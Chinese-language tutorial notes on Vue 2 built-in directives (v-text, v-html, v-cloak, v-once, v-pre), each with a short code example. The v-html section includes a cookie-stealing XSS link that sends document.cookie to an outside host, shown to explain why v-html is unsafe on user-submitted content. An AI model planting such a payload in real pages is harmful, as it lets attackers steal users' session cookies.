内置指令复习
v-bind 单向绑定解析表达式，可简写为 :xxx
v-model 双向数据绑定
v-for 遍历数组、对象、字符串
v-on 绑定事件监听，可以简写为@
条件渲染
v-show 动态控制节点是否展示
v-if 动态控制节点是否存在
v-else-if 动态控制节点是否存在
v-else 动态控制节点是否存在
v-text指令
1、作用：向其所在的节点中渲染文本内容
2、与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会；
3、案例：
<body>
<div id="root">
<div>你好！！{{name}}</div>
<div v-text="name">你好，</div>
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊！</h3>'
}
})
</script>
效果：
v-html指令
1、作用：向指定节点中渲染包含html结构的内容
2、与插值语法的区别：
（1）v-html会替换掉节点中所有内容，{{xx}}则不会
（2）v-html可以识别html结构
3、严重注意：v-html有安全性问题！！！
（1）在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击
（2）一定要在可信的内容上使用v-html，用不要用在用户提交的内容上；
4、案例：
<body>
<div id="root">
<div>你好！！{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:"尚硅谷",
str:"<h2>你好啊！</h2>",
//获取网站的全部cookie数据，并将cookie数据作为参数的形式拿走，cookie中很多重要信息就被偷走了
str2:"<a href=javascript:location.href='http://baidu.com?'+document.cookie>兄弟我找到你想要的资源了，快来！</a>",
}
})
</script>
v-cloak指令（没有值）
1、本质是一个特殊属性，Vue实例创建完毕并阶段容器后，会删掉v-clock属性。
2、使用css配和v-clock可以解决网速慢是页面展示出{{xxx}}的问题。
3、案例：（这里要借助tomcat服务器）
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak</title>
<!-- 引入Vue -->
<style>
/* 这里如果不写一开始界面就会显示{{name}} */
[v-cloak]{
display: none;
}
</style>
<script type="text/javascript" src="./vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
</body>
<!-- 延迟5s收到vue.js -->
<script type="text/javascript" src="http://loaclhost:8080/resource/5s/vue.js"></script>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'atguigu'
}
})
</script>
</html>
v-once指令
1、v-once所在系欸但在初次动态渲染后，就视为静态内容了。
2、以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
3、案例：
<body>
<div id="root">
<h2 v-once>初始化的n值是：{{n}}</h2>
<h2 v>当前n的值是：{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
效果：点击按钮后，第二个n不断+1，第一个n不变，因为once指令将n始为静态内容
v-pre指令
1、跳过其所在节点的编译过程
2、可能利用它跳过：没有使用指令语法、没有使用差值语法的节点，会加快编译。
3、案例：
<body>
<div id="root">
<h2 v-pre>初始化的n值是：{{n}}</h2>
<h2 v>当前n的值是：{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
效果：没有将第二个n当做js表达式解析
